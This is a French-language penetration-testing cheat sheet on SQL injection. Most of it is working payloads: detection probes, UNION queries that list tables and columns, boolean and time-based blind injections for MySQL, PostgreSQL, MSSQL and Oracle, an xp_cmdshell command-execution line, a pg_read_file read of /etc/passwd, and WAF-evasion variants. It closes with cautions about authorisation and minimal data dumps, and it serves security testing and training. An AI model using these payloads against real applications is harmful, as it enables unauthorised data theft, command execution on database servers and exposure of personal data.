---
title: SQL injection
description: "Détecter, confirmer et exploiter une injection SQL : UNION, booléen, temporel et spécificités SGBD."
category: web
kind: technique
tags: [sqli, union, blind, waf-bypass]
level: intermediate
updated: 2026-11-09
order: 5
aliases: ["sqli", "injection sql"]
---

## Détection

```http
?id=1'
?id=1''
?id=1'--
?id=1' AND '1'='1
?id=1' AND '1'='2
```

Une différence de contenu entre `1' AND '1'='1` et `1' AND '1'='2` confirme une injection booléenne. Une erreur SQL explicite confirme une injection en erreur.

> [!TIP]
> Teste aussi les paramètres moins évidents : headers (`X-Forwarded-For`, `User-Agent`), cookies, champs JSON, tri (`sort=`, `order=`), et les IDs encodés en base64.

## UNION-based

```sql
-- 1. Compter les colonnes
' ORDER BY 1-- -
' ORDER BY 5-- -
' ORDER BY 10-- -

-- 2. Trouver les colonnes affichées
' UNION SELECT 1,2,3-- -
' UNION SELECT 1,2,3,4,5-- -

-- 3. Extraire la version et le user
' UNION SELECT 1,@@version,3-- -
' UNION SELECT 1,user(),3-- -
```

```sql
-- Lister les tables (MySQL / MariaDB)
' UNION SELECT 1,group_concat(table_name),3
FROM information_schema.tables WHERE table_schema=database()-- -

-- Lister les colonnes
' UNION SELECT 1,group_concat(column_name),3
FROM information_schema.columns WHERE table_name='users'-- -
```

> [!WARNING]
> `UNION` exige le même nombre de colonnes et des types compatibles. Si l'affichage est muet, passe en booléen ou temporel.

## Blind : booléen

```sql
-- Longueur et premier caractère du nom de la base
' AND length(database())=8-- -
' AND substring(database(),1,1)='a'-- -
' AND ascii(substring(database(),1,1))>97-- -
```

Automatiser caractère par caractère avec un script ou [sqlmap](/sheets/sqlmap/). En HTTP, comparer la taille ou un marqueur de la réponse.

## Blind : temporel

```sql
-- MySQL
' AND SLEEP(5)-- -
' AND IF(substring(database(),1,1)='a',SLEEP(5),0)-- -

-- PostgreSQL
'; SELECT pg_sleep(5)-- -

-- MSSQL
'; WAITFOR DELAY '0:0:5'-- -

-- Oracle
' AND 1=dbms_pipe.receive_message(('a'),5)-- -
```

## Spécificités SGBD

| SGBD | Version | Concat / limite |
| --- | --- | --- |
| MySQL | `@@version` | `group_concat()` / `LIMIT` |
| PostgreSQL | `version()` | `string_agg()` / `LIMIT` |
| MSSQL | `@@version` | `+` / `TOP` |
| Oracle | `v$version` | `\|\|` / `ROWNUM` |
| SQLite | `sqlite_version()` | `group_concat()` |

```sql
-- MSSQL : empiler des requêtes
'; EXEC xp_cmdshell 'whoami'-- -

-- PostgreSQL : lire un fichier (superuser)
' UNION SELECT pg_read_file('/etc/passwd')-- -
```

## Commentaires et WAF

```sql
-- Commentaires selon le SGBD
-- -            MySQL (espace après --)
#              MySQL
/* */          Tous
--             Oracle / PostgreSQL

-- Contournement simple
'/**/OR/**/1=1-- -
'%27%20OR%201=1--%20
' UnIoN SeLeCt 1,2,3-- -
```

> [!TIP]
> Si les espaces sont filtrés : `/**/`, tabulation `%09`, newline `%0a`. Si `SELECT` est bloqué : `SEL/**/ECT`, `SeLeCt`. Si les quotes sont bloquées, cherche une injection numérique (`id=1 AND 1=1`) ou un contexte `ORDER BY`.

## Après l'injection

- Dump minimal et daté pour le rapport (`id`, `username`, hash tronqué).
- Cherche les tables de sessions, tokens de reset, clés API.
- Vérifie les droits du compte DB : `FILE`, `xp_cmdshell`, `COPY ... FROM PROGRAM`.
- Ne modifie pas les données. Une preuve d'accès contrôlée suffit.

> [!WARNING]
> Une injection SQL sur une application client peut exposer des données personnelles. Limite le dump au strict nécessaire, stocke-le chiffré et supprime-le après le rapport. Ne teste jamais `DROP`, `UPDATE` ou `DELETE` sans autorisation explicite.
